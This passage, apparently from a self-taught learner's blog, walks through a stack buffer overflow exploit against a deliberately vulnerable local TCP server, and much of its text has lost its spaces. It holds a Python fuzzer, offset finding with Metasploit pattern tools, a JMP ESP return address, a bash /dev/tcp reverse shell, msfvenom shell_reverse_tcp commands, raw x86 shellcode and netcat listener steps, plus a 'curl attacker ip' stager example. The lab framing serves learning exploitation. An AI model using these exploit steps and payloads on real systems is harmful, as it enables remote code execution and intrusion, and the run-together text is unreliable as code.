OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
